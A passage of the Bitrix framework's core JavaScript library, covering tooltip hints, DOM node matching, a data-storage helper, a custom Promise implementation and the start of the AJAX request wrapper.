						for(var i=0;i<n;i++)
						{
							oSelect[i].selected = (oSelect[i].value == opt_value);
						}
					}
				},

				addSelectedOptions: function(oSelect, to_select_id, check_unique, do_sort)
				{
					oSelect = BX(oSelect);
					if(!oSelect)
						return;
					var n = oSelect.length;
					for(var i=0; i<n; i++)
						if(oSelect[i].selected)
							this.addNewOption(to_select_id, oSelect[i].value, oSelect[i].text, do_sort, check_unique);
				},

				moveOptionsUp: function(oSelect)
				{
					oSelect = BX(oSelect);
					if(!oSelect)
						return;
					var n = oSelect.length;
					for(var i=0; i<n; i++)
					{
						if(oSelect[i].selected && i>0 && oSelect[i-1].selected == false)
						{
							var option = new Option(oSelect[i].text, oSelect[i].value);
							oSelect[i] = new Option(oSelect[i-1].text, oSelect[i-1].value);
							oSelect[i].selected = false;
							oSelect[i-1] = option;
							oSelect[i-1].selected = true;
						}
					}
				},

				moveOptionsDown: function(oSelect)
				{
					oSelect = BX(oSelect);
					if(!oSelect)
						return;
					var n = oSelect.length;
					for(var i=n-1; i>=0; i--)
					{
						if(oSelect[i].selected && i<n-1 && oSelect[i+1].selected == false)
						{
							var option = new Option(oSelect[i].text, oSelect[i].value);
							oSelect[i] = new Option(oSelect[i+1].text, oSelect[i+1].value);
							oSelect[i].selected = false;
							oSelect[i+1] = option;
							oSelect[i+1].selected = true;
						}
					}
				}
			};

		BX.getEventTarget = function(e)
		{
			if(e.target)
			{
				return e.target;
			}
			else if(e.srcElement)
			{
				return e.srcElement;
			}
			return null;
		};

		/******* HINT ***************/
// if function has 2 params - the 2nd one is hint html. otherwise hint_html is third and hint_title - 2nd;
// '<div onmouseover="BX.hint(this, 'This is &lt;b&gt;Hint&lt;/b&gt;')"'>;
// BX.hint(el, 'This is <b>Hint</b>') - this won't work, use constructor
		BX.hint = function(el, hint_title, hint_html, hint_id)
		{
			if (null == hint_html)
			{
				hint_html = hint_title;
				hint_title = '';
			}

			if (null == el.BXHINT)
			{
				el.BXHINT = new BX.CHint({
					parent: el, hint: hint_html, title: hint_title, id: hint_id
				});
				el.BXHINT.Show();
			}
		};

		BX.hint_replace = function(el, hint_title, hint_html)
		{
			if (null == hint_html)
			{
				hint_html = hint_title;
				hint_title = '';
			}

			if (!el || !el.parentNode || !hint_html)
				return null;

			var obHint = new BX.CHint({
				hint: hint_html,
				title: hint_title
			});

			obHint.CreateParent();

			el.parentNode.insertBefore(obHint.PARENT, el);
			el.parentNode.removeChild(el);

			obHint.PARENT.style.marginLeft = '5px';

			return el;
		};

		BX.CHint = function(params)
		{
			if (BX.CHint.cssLoaded === false)
			{
				BX.load(['/bitrix/js/main/core/css/core_hint.css']);
				BX.CHint.cssLoaded = true;
			}

			this.PARENT = BX(params.parent);

			this.HINT = params.hint;
			this.HINT_TITLE = params.title;

			this.PARAMS = {};
			for (var i in this.defaultSettings)
			{
				if (null == params[i])
					this.PARAMS[i] = this.defaultSettings[i];
				else
					this.PARAMS[i] = params[i];
			}

			if (null != params.id)
				this.ID = params.id;

			this.timer = null;
			this.bInited = false;
			this.msover = true;

			if (this.PARAMS.showOnce)
			{
				this.__show();
				this.msover = false;
				this.timer = setTimeout(BX.proxy(this.__hide, this), this.PARAMS.hide_timeout);
			}
			else if (this.PARENT)
			{
				BX.bind(this.PARENT, 'mouseover', BX.proxy(this.Show, this));
				BX.bind(this.PARENT, 'mouseout', BX.proxy(this.Hide, this));
			}
		};

		BX.CHint.cssLoaded = false;

		BX.CHint.openHints = new Set();

		BX.CHint.globalDisabled = false;

		BX.CHint.handleMenuOpen = function() {
			BX.CHint.globalDisabled = true;

			BX.CHint.openHints.forEach(function(hint) {
				hint.__hide_immediately();
			});
		};

		BX.CHint.handleMenuClose = function() {
			BX.CHint.globalDisabled = false;
		};

		BX.addCustomEvent('onMenuOpen', BX.CHint.handleMenuOpen);
		BX.addCustomEvent('onMenuClose', BX.CHint.handleMenuClose);

		BX.CHint.prototype.defaultSettings = {
			show_timeout: 1000,
			hide_timeout: 500,
			dx: 2,
			showOnce: false,
			preventHide: true,
			min_width: 250
		};

		BX.CHint.prototype.CreateParent = function(element, params)
		{
			if (this.PARENT)
			{
				BX.unbind(this.PARENT, 'mouseover', BX.proxy(this.Show, this));
				BX.unbind(this.PARENT, 'mouseout', BX.proxy(this.Hide, this));
			}

			if (!params) params = {};
			var type = 'icon';

			if (params.type && (params.type == "link" || params.type == "icon"))
				type = params.type;

			if (element)
				type = "element";

			if (type == "icon")
			{
				element = BX.create('IMG', {
					props: {
						src: params.iconSrc
							? params.iconSrc
							: "/bitrix/js/main/core/images/hint.gif"
					}
				});
			}
			else if (type == "link")
			{
				element = BX.create("A", {
					props: {href: 'javascript:void(0)'},
					html: '[?]'
				});
			}

			this.PARENT = element;

			BX.bind(this.PARENT, 'mouseover', BX.proxy(this.Show, this));
			BX.bind(this.PARENT, 'mouseout', BX.proxy(this.Hide, this));

			return this.PARENT;
		};

		BX.CHint.prototype.Show = function()
		{
			this.msover = true;

			if (null != this.timer)
				clearTimeout(this.timer);

			this.timer = setTimeout(BX.proxy(this.__show, this), this.PARAMS.show_timeout);
		};

		BX.CHint.prototype.Hide = function()
		{
			this.msover = false;

			if (null != this.timer)
				clearTimeout(this.timer);

			this.timer = setTimeout(BX.proxy(this.__hide, this), this.PARAMS.hide_timeout);
		};

		BX.CHint.prototype.__show = function()
		{
			if (!this.msover || this.disabled || BX.CHint.globalDisabled) return;
			if (!this.bInited) this.Init();

			if (this.prepareAdjustPos())
			{
				this.DIV.style.display = 'block';
				BX.ZIndexManager.bringToFront(this.DIV);

				this.adjustPos();

				BX.CHint.openHints.add(this);

				BX.bind(window, 'scroll', BX.proxy(this.__onscroll, this));

				if (this.PARAMS.showOnce)
				{
					this.timer = setTimeout(BX.proxy(this.__hide, this), this.PARAMS.hide_timeout);
				}
			}
		};

		BX.CHint.prototype.__onscroll = function()
		{
			if (!BX.admin || !BX.admin.panel || !BX.admin.panel.isFixed()) return;

			if (this.scrollTimer) clearTimeout(this.scrollTimer);

			this.DIV.style.display = 'none';
			this.scrollTimer = setTimeout(BX.proxy(this.Reopen, this), this.PARAMS.show_timeout);
		};

		BX.CHint.prototype.Reopen = function()
		{
			if (null != this.timer) clearTimeout(this.timer);
			this.timer = setTimeout(BX.proxy(this.__show, this), 50);
		};

		BX.CHint.prototype.__hide = function()
		{
			if (this.msover) return;
			if (!this.bInited) return;

			BX.unbind(window, 'scroll', BX.proxy(this.Reopen, this));

			BX.CHint.openHints.delete(this);

			if (this.PARAMS.showOnce)
			{
				this.Destroy();
			}
			else
			{
				this.DIV.style.display = 'none';
			}
		};

		BX.CHint.prototype.__hide_immediately = function()
		{
			this.msover = false;
			this.__hide();
		};

		BX.CHint.prototype.Init = function()
		{
			this.DIV = document.body.appendChild(BX.create('DIV', {
				props: {className: 'bx-panel-tooltip'},
				style: {
					display: 'none',
					position: 'absolute',
					visibility: 'hidden'
				},
				children: [
					(this.CONTENT = BX.create('DIV', {
						props: {className: 'bx-panel-tooltip-content'},
						children: [
							BX.create('DIV', {
								props: {className: 'bx-panel-tooltip-underlay'},
								children: [
									BX.create('DIV', {props: {className: 'bx-panel-tooltip-underlay-bg'}})
								]
							})
						]
					}))
				]
			}));

			BX.ZIndexManager.register(this.DIV);

			if (this.ID)
			{
				this.CONTENT.insertBefore(BX.create('A', {
					attrs: {href: 'javascript:void(0)'},
					props: {className: 'bx-panel-tooltip-close'},
					events: {click: BX.delegate(this.Close, this)}
				}), this.CONTENT.firstChild);
			}

			if (this.HINT_TITLE)
			{
				this.CONTENT.appendChild(
					BX.create('DIV', {
						props: {className: 'bx-panel-tooltip-title'},
						text: this.HINT_TITLE
					})
				);
			}

			if (this.HINT)
			{
				this.CONTENT_TEXT = this.CONTENT.appendChild(BX.create('DIV', {props: {className: 'bx-panel-tooltip-text'}})).appendChild(BX.create('SPAN', {html: this.HINT}));
			}

			if (this.PARAMS.preventHide)
			{
				BX.bind(this.DIV, 'mouseout', BX.proxy(this.Hide, this));
				BX.bind(this.DIV, 'mouseover', BX.proxy(this.Show, this));
			}

			this.bInited = true;
		};

		BX.CHint.prototype.setContent = function(content)
		{
			this.HINT = content;

			if (this.CONTENT_TEXT)
				this.CONTENT_TEXT.innerHTML = this.HINT;
			else
				this.CONTENT_TEXT = this.CONTENT.appendChild(BX.create('DIV', {props: {className: 'bx-panel-tooltip-text'}})).appendChild(BX.create('SPAN', {html: this.HINT}));
		};

		BX.CHint.prototype.prepareAdjustPos = function()
		{
			this._wnd = {scrollPos: BX.GetWindowScrollPos(),scrollSize:BX.GetWindowScrollSize()};
			return BX.style(this.PARENT, 'display') != 'none';
		};

		BX.CHint.prototype.getAdjustPos = function()
		{
			var res = {}, pos = BX.pos(this.PARENT), min_top = 0;

			res.top = pos.bottom + this.PARAMS.dx;

			if (BX.admin && BX.admin.panel.DIV)
			{
				min_top = BX.admin.panel.DIV.offsetHeight + this.PARAMS.dx;

				if (BX.admin.panel.isFixed())
				{
					min_top += this._wnd.scrollPos.scrollTop;
				}
			}

			if (res.top < min_top)
				res.top = min_top;
			else
			{
				if (res.top + this.DIV.offsetHeight > this._wnd.scrollSize.scrollHeight)
					res.top = pos.top - this.PARAMS.dx - this.DIV.offsetHeight;
			}

			res.left = pos.left;
			if (pos.left < this.PARAMS.dx)
				pos.left = this.PARAMS.dx;
			else
			{
				var floatWidth = this.DIV.offsetWidth;

				var max_left = this._wnd.scrollSize.scrollWidth - floatWidth - this.PARAMS.dx;

				if (res.left > max_left)
					res.left = max_left;
			}

			return res;
		};

		BX.CHint.prototype.adjustWidth = function()
		{
			if (this.bWidthAdjusted) return;

			var w = this.DIV.offsetWidth, h = this.DIV.offsetHeight;

			if (w > this.PARAMS.min_width)
				w = Math.round(Math.sqrt(1.618*w*h));

			if (w < this.PARAMS.min_width)
				w = this.PARAMS.min_width;

			this.DIV.style.width = w + "px";

			if (this._adjustWidthInt)
				clearInterval(this._adjustWidthInt);
			this._adjustWidthInt = setInterval(BX.delegate(this._adjustWidthInterval, this), 5);

			this.bWidthAdjusted = true;
		};

		BX.CHint.prototype._adjustWidthInterval = function()
		{
			if (!this.DIV || this.DIV.style.display == 'none')
				clearInterval(this._adjustWidthInt);

			var
				dW = 20,
				maxWidth = 1500,
				w = this.DIV.offsetWidth,
				w1 = this.CONTENT_TEXT.offsetWidth;

			if (w > 0 && w1 > 0 && w - w1 < dW && w < maxWidth)
			{
				this.DIV.style.width = (w + dW) + "px";
				return;
			}

			clearInterval(this._adjustWidthInt);
		};

		BX.CHint.prototype.adjustPos = function()
		{
			this.adjustWidth();

			var pos = this.getAdjustPos();

			this.DIV.style.top = pos.top + 'px';
			this.DIV.style.left = pos.left + 'px';
		};

		BX.CHint.prototype.Close = function()
		{
			if (this.ID && BX.WindowManager)
				BX.WindowManager.saveWindowOptions(this.ID, {display: 'off'});
			this.__hide_immediately();
			this.Destroy();
		};

		BX.CHint.prototype.Destroy = function()
		{
			if (this.PARENT)
			{
				BX.unbind(this.PARENT, 'mouseover', BX.proxy(this.Show, this));
				BX.unbind(this.PARENT, 'mouseout', BX.proxy(this.Hide, this));
			}

			if (this.DIV)
			{
				BX.unbind(this.DIV, 'mouseover', BX.proxy(this.Show, this));
				BX.unbind(this.DIV, 'mouseout', BX.proxy(this.Hide, this));

				BX.ZIndexManager.unregister(this.DIV);

				BX.cleanNode(this.DIV, true);
			}
		};

		BX.CHint.prototype.enable = function(){this.disabled = false;};
		BX.CHint.prototype.disable = function(){this.__hide_immediately(); this.disabled = true;};


		function _adjustWait()
		{
			if (!this.bxmsg) return;

			var arContainerPos = BX.pos(this),
				div_top = arContainerPos.top;

			if (div_top < BX.GetDocElement().scrollTop)
				div_top = BX.GetDocElement().scrollTop + 5;

			this.bxmsg.style.top = (div_top + 5) + 'px';

			if (this == BX.GetDocElement())
			{
				this.bxmsg.style.right = '5px';
			}
			else
			{
				this.bxmsg.style.left = (arContainerPos.right - this.bxmsg.offsetWidth - 5) + 'px';
			}
		}

		function _processTpl(tplNode, cb, bKillTpl)
		{
			if (tplNode)
			{
				if (bKillTpl)
					tplNode.parentNode.removeChild(tplNode);

				var res = {}, nodes = BX.findChildren(tplNode, {attribute: 'data-role'}, true);

				for (var i = 0, l = nodes.length; i < l; i++)
				{
					res[nodes[i].getAttribute('data-role')] = nodes[i];
				}

				cb.apply(tplNode, [res]);
			}
		}

		function _checkNode(obj, params)
		{
			params = params || {};

			if (BX.type.isFunction(params))
				return params.call(window, obj);

			if (!params.allowTextNodes && !BX.type.isElementNode(obj))
				return false;
			var i,j,len;
			for (i in params)
			{
				if(params.hasOwnProperty(i))
				{
					switch(i)
					{
						case 'tag':
						case 'tagName':
							if (BX.type.isString(params[i]))
							{
								if (obj.tagName.toUpperCase() != params[i].toUpperCase())
									return false;
							}
							else if (params[i] instanceof RegExp)
							{
								if (!params[i].test(obj.tagName))
									return false;
							}
							break;

						case 'class':
						case 'className':
							if (BX.type.isString(params[i]))
							{
								if (!BX.hasClass(obj, params[i]))
									return false;
							}
							else if (params[i] instanceof RegExp)
							{
								if (!BX.type.isString(obj.className) || !params[i].test(obj.className))
									return false;
							}
							break;

						case 'attr':
						case 'attrs':
						case 'attribute':
							if (BX.type.isString(params[i]))
							{
								if (!obj.getAttribute(params[i]))
									return false;
							}
							else if (BX.type.isArray(params[i]))
							{
								for (j = 0, len = params[i].length; j < len; j++)
								{
									if (params[i] && !obj.getAttribute(params[i]))
										return false;
								}
							}
							else
							{
								for (j in params[i])
								{
									if(params[i].hasOwnProperty(j))
									{
										var q = obj.getAttribute(j);
										if (params[i][j] instanceof RegExp)
										{
											if (!BX.type.isString(q) || !params[i][j].test(q))
											{
												return false;
											}
										}
										else
										{
											if (q != '' + params[i][j])
											{
												return false;
											}
										}
									}
								}
							}
							break;

						case 'property':
						case 'props':
							if (BX.type.isString(params[i]))
							{
								if (!obj[params[i]])
									return false;
							}
							else if (BX.type.isArray(params[i]))
							{
								for (j = 0, len = params[i].length; j < len; j++)
								{
									if (params[i] && !obj[params[i]])
										return false;
								}
							}
							else
							{
								for (j in params[i])
								{
									if (BX.type.isString(params[i][j]))
									{
										if (obj[j] != params[i][j])
											return false;
									}
									else if (params[i][j] instanceof RegExp)
									{
										if (!BX.type.isString(obj[j]) || !params[i][j].test(obj[j]))
											return false;
									}
								}
							}
							break;

						case 'callback':
							return params[i](obj);
					}
				}
			}

			return true;
		}

		/* garbage collector */
		function Trash()
		{
			var i,len;

			for (i = 0, len = garbageCollectors.length; i<len; i++)
			{
				try {
					garbageCollectors[i].callback.apply(garbageCollectors[i].context || window);
					delete garbageCollectors[i];
					garbageCollectors[i] = null;
				} catch (e) {}
			}
		}

		if(window.attachEvent) // IE
			window.attachEvent("onunload", Trash);
		else if(window.addEventListener) // Gecko / W3C
			window.addEventListener('unload', Trash, false);
		else
			window.onunload = Trash;
		/* \garbage collector */

// set empty ready handler
		BX(BX.DoNothing);
		window.BX = BX;

		BX.browser.addGlobalClass();

		/* data storage */
		BX.data = function(node, key, value)
		{
			if(typeof node == 'undefined')
				return undefined;

			if(typeof key == 'undefined')
				return undefined;

			if(typeof value != 'undefined')
			{
				// write to manager
				dataStorage.set(node, key, value);
			}
			else
			{
				var data;

				// from manager
				if((data = dataStorage.get(node, key)) != undefined)
				{
					return data;
				}
				else
				{
					// from attribute data-*
					if('getAttribute' in node)
					{
						data = node.getAttribute('data-'+key.toString());
						if(data === null)
						{
							return undefined;
						}
						return data;
					}
				}

				return undefined;
			}
		};

		BX.DataStorage = function()
		{

			this.keyOffset = 1;
			this.data = {};
			this.uniqueTag = 'BX-'+Math.random();

			this.resolve = function(owner, create){
				if(typeof owner[this.uniqueTag] == 'undefined')
					if(create)
					{
						try
						{
							Object.defineProperty(owner, this.uniqueTag, {
								value: this.keyOffset++
							});
						}
						catch(e)
						{
							owner[this.uniqueTag] = this.keyOffset++;
						}
					}
					else
						return undefined;

				return owner[this.uniqueTag];
			};
			this.get = function(owner, key){
				if((owner != document && !BX.type.isElementNode(owner)) || typeof key == 'undefined')
					return undefined;

				owner = this.resolve(owner, false);

				if(typeof owner == 'undefined' || typeof this.data[owner] == 'undefined')
					return undefined;

				return this.data[owner][key];
			};
			this.set = function(owner, key, value){

				if((owner != document && !BX.type.isElementNode(owner)) || typeof value == 'undefined')
					return;

				var o = this.resolve(owner, true);

				if(typeof this.data[o] == 'undefined')
					this.data[o] = {};

				this.data[o][key] = value;
			};
		};

// some internal variables for new logic
		var dataStorage = new BX.DataStorage();	// manager which BX.data() uses to keep data
	})(window.BX);

	;(function(window)
	{
		/****************** ATTENTION *******************************
		 * Please do not use Bitrix CoreJS in this class.
		 * This class can be called on page without Bitrix Framework
		 *************************************************************/

		if (!window.BX)
		{
			window.BX = {};
		}

		var BX = window.BX;

		BX.Promise = function(fn, ctx) // fn is future-reserved
		{
			this.state = null;
			this.value = null;
			this.reason = null;
			this.next = null;
			this.ctx = ctx || this;

			this.onFulfilled = [];
			this.onRejected = [];
		};
		BX.Promise.prototype.fulfill = function(value)
		{
			this.checkState();

			this.value = value;
			this.state = true;
			this.execute();
		};
		BX.Promise.prototype.reject = function(reason)
		{
			this.checkState();

			this.reason = reason;
			this.state = false;
			this.execute();
		};
		BX.Promise.prototype.then = function(onFulfilled, onRejected)
		{
			if(typeof (onFulfilled) == "function" || onFulfilled instanceof Function)
			{
				this.onFulfilled.push(onFulfilled);
			}
			if(typeof (onRejected) == "function" || onRejected instanceof Function)
			{
				this.onRejected.push(onRejected);
			}

			if(this.next === null)
			{
				this.next = new BX.Promise(null, this.ctx);
			}

			if(this.state !== null) // if promise was already resolved, execute immediately
			{
				this.execute();
			}

			return this.next;
		};

		BX.Promise.prototype.catch = function(onRejected)
		{
			if(typeof (onRejected) == "function" || onRejected instanceof Function)
			{
				this.onRejected.push(onRejected);
			}

			if(this.next === null)
			{
				this.next = new BX.Promise(null, this.ctx);
			}

			if(this.state !== null) // if promise was already resolved, execute immediately
			{
				this.execute();
			}

			return this.next;
		};

		BX.Promise.prototype.setAutoResolve = function(way, ms)
		{
			this.timer = setTimeout(function(){
				if(this.state === null)
				{
					this[way ? 'fulfill' : 'reject']();
				}
			}.bind(this), ms || 15);
		};
		BX.Promise.prototype.cancelAutoResolve = function()
		{
			clearTimeout(this.timer);
		};
		/**
		 * Resolve function. This function allows promise chaining, like ..then().then()...
		 * Typical usage:
		 *
		 * var p = new Promise();
		 *
		 * p.then(function(value){
		 *  return someValue; // next promise in the chain will be fulfilled with someValue
		 * }).then(function(value){
		 *
		 *  var p1 = new Promise();
		 *  *** some async code here, that eventually resolves p1 ***
		 *
		 *  return p1; // chain will resume when p1 resolved (fulfilled or rejected)
		 * }).then(function(value){
		 *
		 *  // you can also do
		 *  var e = new Error();
		 *  throw e;
		 *  // it will cause next promise to be rejected with e
		 *
		 *  return someOtherValue;
		 * }).then(function(value){
		 *  ...
		 * }, function(reason){
		 *  // promise was rejected with reason
		 * })...;
		 *
		 * p.fulfill('let`s start this chain');
		 *
		 * @param x
		 */
		BX.Promise.prototype.resolve = function(x)
		{
			var this_ = this;

			if(this === x)
			{
				this.reject(new TypeError('Promise cannot fulfill or reject itself')); // avoid recursion
			}
			// allow "pausing" promise chaining until promise x is fulfilled or rejected
			else if(x && x.toString() === "[object BX.Promise]")
			{
				x.then(function(value){
					this_.fulfill(value);
				}, function(reason){
					this_.reject(reason);
				});
			}
			else // auto-fulfill this promise
			{
				this.fulfill(x);
			}
		};

		BX.Promise.prototype.toString = function()
		{
			return "[object BX.Promise]";
		};

		BX.Promise.prototype.execute = function()
		{
			if(this.state === null)
			{
				//then() must not be called before BX.Promise resolve() happens
				return;
			}

			var value = undefined;
			var reason = undefined;
			var x = undefined;
			var k;
			if(this.state === true) // promise was fulfill()-ed
			{
				if(this.onFulfilled.length)
				{
					try
					{
						for(k = 0; k < this.onFulfilled.length; k++)
						{
							x = this.onFulfilled[k].apply(this.ctx, [this.value]);
							if(typeof x != 'undefined')
							{
								value = x;
							}
						}
					}
					catch(e)
					{
						if('console' in window)
						{
							console.dir(e);
						}

						if (typeof BX.debug !== 'undefined')
						{
							BX.debug(e);
						}

						reason = e; // reject next
					}
				}
				else
				{
					value = this.value; // resolve next
				}
			}
			else if(this.state === false) // promise was reject()-ed
			{
				if(this.onRejected.length)
				{
					try
					{
						for(k = 0; k < this.onRejected.length; k++)
						{
							x = this.onRejected[k].apply(this.ctx, [this.reason]);
							if(typeof x != 'undefined')
							{
								value = x;
							}
						}
					}
					catch(e)
					{
						if('console' in window)
						{
							console.dir(e);
						}

						if (typeof BX.debug !== 'undefined')
						{
							BX.debug(e);
						}

						reason = e; // reject next
					}
				}
				else
				{
					reason = this.reason; // reject next
				}
			}

			if(this.next !== null)
			{
				if(typeof reason != 'undefined')
				{
					this.next.reject(reason);
				}
				else if(typeof value != 'undefined')
				{
					this.next.resolve(value);
				}
			}
		};
		BX.Promise.prototype.checkState = function()
		{
			if(this.state !== null)
			{
				throw new Error('You can not do fulfill() or reject() multiple times');
			}
		};
	})(window);



	;(function(window){

		if (window.BX.ajax)
			return;

		var
			BX = window.BX,

			tempDefaultConfig = {},
			defaultConfig = {
				method: 'GET', // request method: GET|POST
				dataType: 'html', // type of data loading: html|json|script
				timeout: 0, // request timeout in seconds. 0 for browser-default
				async: true, // whether request is asynchronous or not
				processData: true, // any data processing is disabled if false, only callback call
				scriptsRunFirst: false, // whether to run _all_ found scripts before onsuccess call. script tag can have an attribute "bxrunfirst" to turn  this flag on only for itself
				emulateOnload: true,
				skipAuthCheck: false, // whether to check authorization failure (SHOUD be set to true for CORS requests)
				start: true, // send request immediately (if false, request can be started manually via XMLHttpRequest object returned)
				cache: true, // whether NOT to add random addition to URL
				preparePost: true, // whether set Content-Type x-www-form-urlencoded in POST
				headers: false, // add additional headers, example: [{'name': 'If-Modified-Since', 'value': 'Wed, 15 Aug 2012 08:59:08 GMT'}, {'name': 'If-None-Match', 'value': '0'}]
				lsTimeout: 30, //local storage data TTL. useless without lsId.
				lsForce: false //wheter to force query instead of using localStorage data. useless without lsId.
				/*
other parameters:
	url: url to get/post
	data: data to post
	onsuccess: successful request callback. BX.proxy may be used.
	onfailure: request failure callback. BX.proxy may be used.
	onprogress: request progress callback. BX.proxy may be used.

	lsId: local storage id - for constantly updating queries which can communicate via localStorage. core_ls.js needed

any of the default parameters can be overridden. defaults can be changed by BX.ajax.Setup() - for all further requests!
*/
			},
			ajax_session = null,
			loadedScripts = {},
			loadedScriptsQueue = [],
			r = {
				'url_utf': /[^\034-\254]+/g,
				'script_self': /\/bitrix\/js\/main\/core\/core(_ajax)*.js$/i,
				'script_self_window': /\/bitrix\/js\/main\/core\/core_window.js$/i,
				'script_self_admin': /\/bitrix\/js\/main\/core\/core_admin.js$/i,
				'script_onload': /window.onload/g
			};

// low-level method
		BX.ajax = function(config)
		{
			var status, data;

			if (!config || !config.url || !BX.type.isString(config.url))
			{
				return false;
			}

			for (var i in tempDefaultConfig)
				if (typeof (config[i]) == "undefined") config[i] = tempDefaultConfig[i];

			tempDefaultConfig = {};

			for (i in defaultConfig)
				if (typeof (config[i]) == "undefined") config[i] = defaultConfig[i];

			config.method = config.method.toUpperCase();

			if (!BX.localStorage)
				config.lsId = null;

			if (BX.browser.IsIE())
			{
				var result = r.url_utf.exec(config.url);
				if (result)
				{
					do
					{
						config.url = config.url.replace(result, BX.util.urlencode(result));
						result = r.url_utf.exec(config.url);
					} while (result);
				}
			}

			if(config.dataType == 'json')
				config.emulateOnload = false;

			if (!config.cache && config.method == 'GET')
				config.url = BX.ajax._uncache(config.url);

			if (config.method == 'POST')
			{
				if (config.preparePost)
				{
					config.data = BX.ajax.prepareData(config.data);
				}
				else if (getLastContentTypeHeader(config.headers) === 'application/json')
				{
					config.data = JSON.stringify(config.data);
				}
			}

			var bXHR = true;
			if (config.lsId && !config.lsForce)
			{
				var v = BX.localStorage.get('ajax-' + config.lsId);
				if (v !== null)
				{
					bXHR = false;

					var lsHandler = function(lsData) {
						if (lsData.key == 'ajax-' + config.lsId && lsData.value != 'BXAJAXWAIT')
						{
							var data = lsData.value,
								bRemove = !!lsData.oldValue && data == null;
							if (!bRemove)
								BX.ajax.__run(config, data);
							else if (config.onfailure)
								config.onfailure("timeout");

							BX.removeCustomEvent('onLocalStorageChange', lsHandler);
						}
					};

					if (v == 'BXAJAXWAIT')
					{
						BX.addCustomEvent('onLocalStorageChange', lsHandler);
					}
					else
					{
						setTimeout(function() {lsHandler({key: 'ajax-' + config.lsId, value: v})}, 10);
					}
				}
			}

			if (bXHR)
			{
				config.xhr = BX.ajax.xhr();
				if (!config.xhr) return;

				if (config.lsId)
				{
					BX.localStorage.set('ajax-' + config.lsId, 'BXAJAXWAIT', config.lsTimeout);
				}

				if (BX.Type.isFunction(config.onprogress))
				{
					BX.bind(config.xhr, 'progress', config.onprogress);
				}

				if (BX.Type.isFunction(config.onprogressupload) && config.xhr.upload)
				{
					BX.bind(config.xhr.upload, 'progress', config.onprogressupload);
				}

				config.xhr.open(config.method, config.url, config.async);

				if (!config.skipBxHeader && !BX.ajax.isCrossDomain(config.url))
				{
					config.xhr.setRequestHeader('Bx-ajax', 'true');
				}

				if (config.method == 'POST' && config.preparePost)
				{
					config.xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
				}
				if (typeof(config.headers) == "object")
				{
					for (i = 0; i < config.headers.length; i++)
						config.xhr.setRequestHeader(config.headers[i].name, config.headers[i].value);
				}

				var bRequestCompleted = false;
				var onreadystatechange = config.xhr.onreadystatechange = function(additional)
				{
					if (bRequestCompleted)
						return;

					if (additional === 'timeout')
					{
						if (config.onfailure)
						{
							config.onfailure('timeout', '', config);
						}

						BX.onCustomEvent(config.xhr, 'onAjaxFailure', ['timeout', '', config]);

						config.xhr.onreadystatechange = BX.DoNothing;
						config.xhr.abort();

						if (config.async)
						{
							config.xhr = null;
						}
					}
					else
					{
						if (config.xhr.readyState == 4 || additional == 'run')
						{
							status = BX.ajax.xhrSuccess(config.xhr) ? "success" : "error";
							bRequestCompleted = true;
							config.xhr.onreadystatechange = BX.DoNothing;

							if (status == 'success')
							{
								var authHeader = (!!config.skipAuthCheck || BX.ajax.isCrossDomain(config.url))
									? false
									: config.xhr.getResponseHeader('X-Bitrix-Ajax-Status');

								if(!!authHeader && authHeader == 'Authorize')
								{
									if (config.onfailure)
									{
										config.onfailure('auth', config.xhr.status, config);
									}

									BX.onCustomEvent(config.xhr, 'onAjaxFailure', ['auth', config.xhr.status, config]);
								}
								else
								{
									var data = config.xhr.responseText;

									if (config.lsId)
									{
										BX.localStorage.set('ajax-' + config.lsId, data, config.lsTimeout);
									}

									BX.ajax.__run(config, data);
								}
							}
							else
							{
								if (config.onfailure)
								{
									config.onfailure('status', config.xhr.status, config);
								}

								BX.onCustomEvent(config.xhr, 'onAjaxFailure', ['status', config.xhr.status, config]);
							}

							if (config.async)
							{
								config.xhr = null;
							}
						}
					}
				};

				if (config.async && config.timeout > 0)
				{
					setTimeout(function() {
						if (config.xhr && !bRequestCompleted)
						{
							onreadystatechange("timeout");
						}
					}, config.timeout * 1000);
				}

				if (config.start)
				{
					config.xhr.send(config.data);

					if (!config.async)
					{
						onreadystatechange('run');
					}
				}

				return config.xhr;
			}
		};

		BX.ajax.xhr = function()
		{
			if (window.XMLHttpRequest)
			{
				try {return new XMLHttpRequest();} catch(e){}
			}
			else if (window.ActiveXObject)
			{
				try { return new window.ActiveXObject("Msxml2.XMLHTTP.6.0"); }
				catch(e) {}
				try { return new window.ActiveXObject("Msxml2.XMLHTTP.3.0"); }
				catch(e) {}
				try { return new window.ActiveXObject("Msxml2.XMLHTTP"); }
				catch(e) {}
				try { return new window.ActiveXObject("Microsoft.XMLHTTP"); }
				catch(e) {}
				throw new Error("This browser does not support XMLHttpRequest.");
			}

			return null;
		};

		BX.ajax.isCrossDomain = function(url, location)
		{
			location = location || window.location;

			//Relative URL gets a current protocol
			if (url.indexOf("//") === 0)
			{
				url = location.protocol + url;
			}

			//Fast check
			if (url.indexOf("http") !== 0)
			{
				return false;
			}

			var link = window.document.createElement("a");
			link.href = url;

			return  link.protocol !== location.protocol ||
				link.hostname !== location.hostname ||
				BX.ajax.getHostPort(link.protocol, link.host) !== BX.ajax.getHostPort(location.protocol, location.host);
		};

		BX.ajax.getHostPort = function(protocol, host)
		{
			var match = /:(\d+)$/.exec(host);
			if (match)
			{
				return match[1];
			}
			else
			{
				if (protocol === "http:")
				{
					return "80";
				}
				else if (protocol === "https:")
				{
					return "443";
				}
			}

			return "";
		};

		BX.ajax.__prepareOnload = function(scripts)
		{
			if (scripts.length > 0)
			{
				BX.ajax['onload_' + ajax_session] = null;

				for (var i=0,len=scripts.length;i<len;i++)
				{
					if (scripts[i].isInternal)
					{
						scripts[i].JS = scripts[i].JS.replace(r.script_onload, 'BX.ajax.onload_' + ajax_session);
					}
				}
			}

			BX.CaptureEventsGet();
			BX.CaptureEvents(window, 'load');
		};

		BX.ajax.__runOnload = function()
		{
			if (null != BX.ajax['onload_' + ajax_session])
			{
				BX.ajax['onload_' + ajax_session].apply(window);
				BX.ajax['onload_' + ajax_session] = null;
			}

			var h = BX.CaptureEventsGet();

			if (h)
			{
				for (var i=0; i<h.length; i++)
					h[i].apply(window);
			}
		};

		BX.ajax.__run = function(config, data)
		{
			if (!config.processData)
			{
				if (config.onsuccess)
				{
					config.onsuccess(data);
				}

				BX.onCustomEvent(config.xhr, 'onAjaxSuccess', [data, config]);
			}
			else
			{
				data = BX.ajax.processRequestData(data, config);
			}
		};


		BX.ajax._onParseJSONFailure = function(data)
		{
			this.jsonFailure = true;
			this.jsonResponse = data;
			this.jsonProactive = /^\[WAF\]/.test(data);
		};

